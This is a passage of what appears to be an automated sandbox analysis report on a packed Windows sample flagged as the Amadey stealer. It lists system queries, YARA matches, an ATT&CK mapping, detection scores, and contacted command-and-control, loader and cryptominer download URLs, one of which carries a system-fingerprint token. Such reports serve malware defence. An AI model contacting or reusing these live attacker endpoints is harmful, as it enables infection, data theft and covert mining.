Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00C3CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00C3CB1A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00C265B0 LookupAccountNameA,

6_2_00C265B0

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\cmd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.axplong.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.axplong.exe.c20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1746285062.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2302324520.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763005271.0000000000961000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1749088265.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1722139585.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1789363065.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1789584314.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	1 Windows Service	1 Windows Service	31 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	11 Scheduled Task/Job	12 Process Injection	13 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	361 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Windows\System32\Microsoft\Libs\WR64.sys	7%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://185.215.113.16/Jo89Ku7d/index.php	100%	URL Reputation	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
eijfrhegrtbrfcd.online	172.67.187.100	true	true	unknown
github.com	140.82.121.3	true	false	unknown
sanctam.net	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://eijfrhegrtbrfcd.online/download/conf1.php	true		unknown
https://eijfrhegrtbrfcd.online/iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0=	false		unknown
https://eijfrhegrtbrfcd.online/download/miner2.0.exe	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php	true	URL Reputation: phishing	unknown
https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resources/xmrig.zip	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.phpncodede	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://eijfrhegrtbrfcd.online/R	Microsoft-Edge.exe, 0000000E.00000002.3022066818.0000000003705000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/download/miner2.0.execk.dll	curl.exe, 00000052.00000002.2619013349.000001DFDEF54000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com	svchost64.exe, 0000008B.00000002.2788969573.0000000003740000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/W	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/download/miner2.0.exeX	curl.exe, 00000052.00000003.2618490481.000001DFDEF7B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000052.00000002.2619230837.000001DFDEF7C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/inc/loader_5879465914.exe%	axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpER	axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodedr	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://eijfrhegrtbrfcd.online/download/conf1.phpe	curl.exe, 0000000A.00000002.2354249733.00000212B53B7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/A	loader_5879465914.exe, 00000007.00000002.3021798885.0000000003750000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/ViewSizePreferences.SourceAumid2	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpN7	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://github.com/UnamSanctam/SilentXMRMiner/raw/master/SilentXMRMiner/Resource	svchost64.exe, 00000095.00000002.2847173181.0000000003561000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnk	Microsoft-Edge.exe, 0000000E.00000003.2439702684.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2636667274.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2550111525.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426774904.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2467067729.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426774904.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000002.3020533522.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2412607559.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2497419323.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2497419323.00000000008CF000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2619479146.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2690557192.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2467067729.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2605563246.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2669985845.0000000000914000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2564142044.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2523814240.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2426458006.00000000008B4000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2577879379.0000000000914000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://github.com	svchost64.exe, 0000008B.00000002.2788969573.000000000375D000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.000000000357C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.w3.	sihost64.exe, 0000009F.00000002.2836528294.00000000032D7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/UnamSanctam/SilentXMRMiner/master/SilentXMRMiner/Resources/xmrig.z	svchost64.exe, 0000008B.00000002.2788969573.0000000003780000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.000000000359F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/0	loader_5879465914.exe, 00000007.00000003.2550392048.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000002.3020183902.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2438846550.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2467127699.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2426102539.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2793911920.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2635393911.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2766846263.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2373865784.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2481291707.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2620255870.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2453484354.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2508746813.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2673880736.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2399949653.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2522344856.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2689820350.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2358547789.0000000000777000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2386863025.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2648797169.0000000000778000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2412212318.0000000000778000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.php/dn	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://sanctam.net:58899/assets/txt/resource_url.php?type=xmrig	svchost64.exe, 00000095.00000002.2847173181.0000000003510000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpr7f	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php=	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/inc/loader_5879465914.exeh	axplong.exe, 00000006.00000002.3019920701.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpdedA	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/t	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnu	axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	svchost64.exe, 0000006B.00000002.2706597636.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 0000008B.00000002.2788969573.00000000035C1000.00000004.00000800.00020000.00000000.sdmp, sihost64.exe, 00000090.00000002.2783114203.0000000003221000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.00000000033E1000.00000004.00000800.00020000.00000000.sdmp, sihost64.exe, 0000009F.00000002.2836528294.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php&7:	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php4	axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php/	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Local	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpm	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.php:7.	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/15.113.16/	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded&	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/inc/loader_5879465914.exe	axplong.exe, 00000006.00000002.3019920701.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded3	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded4	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/15.113.16/System32	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpF6Z	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpWindows	axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phpb1a30a186ec2d30be6db0b5	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/ysWOW64	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/download/conf1.phpy	curl.exe, 0000000A.00000002.2354315506.00000212B53EC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.2353963310.00000212B53EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/	loader_5879465914.exe, 00000007.00000003.2741556491.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2724634660.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2791232817.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2894492934.000000000378D000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2857988717.0000000003797000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2763069351.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2908398363.0000000003788000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2949314469.0000000003797000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000003.2867639993.000000000378E000.00000004.00000020.00020000.00000000.sdmp, loader_5879465914.exe, 00000007.00000002.3022068193.0000000003799000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2690557192.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2590705590.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2742582676.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2523814240.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2864099579.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2832045972.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2399904766.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2455135298.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2636667274.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2879187208.000000000087A000.00000004.00000020.00020000.00000000.sdmp, Microsoft-Edge.exe, 0000000E.00000003.2510316366.000000000088E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://sanctam.net:58899	svchost64.exe, 0000008B.00000002.2788969573.00000000036ED000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 0000008B.00000002.2788969573.0000000003736000.00000004.00000800.00020000.00000000.sdmp, svchost64.exe, 00000095.00000002.2847173181.0000000003554000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Wiow	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/ones	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpB7V	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/Jo89Ku7d/index.phper_5879465914.exe	axplong.exe, 00000006.00000002.3019920701.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/4	axplong.exe, 00000006.00000002.3019920701.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpM6	axplong.exe, 00000006.00000002.3019920701.0000000000AF0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
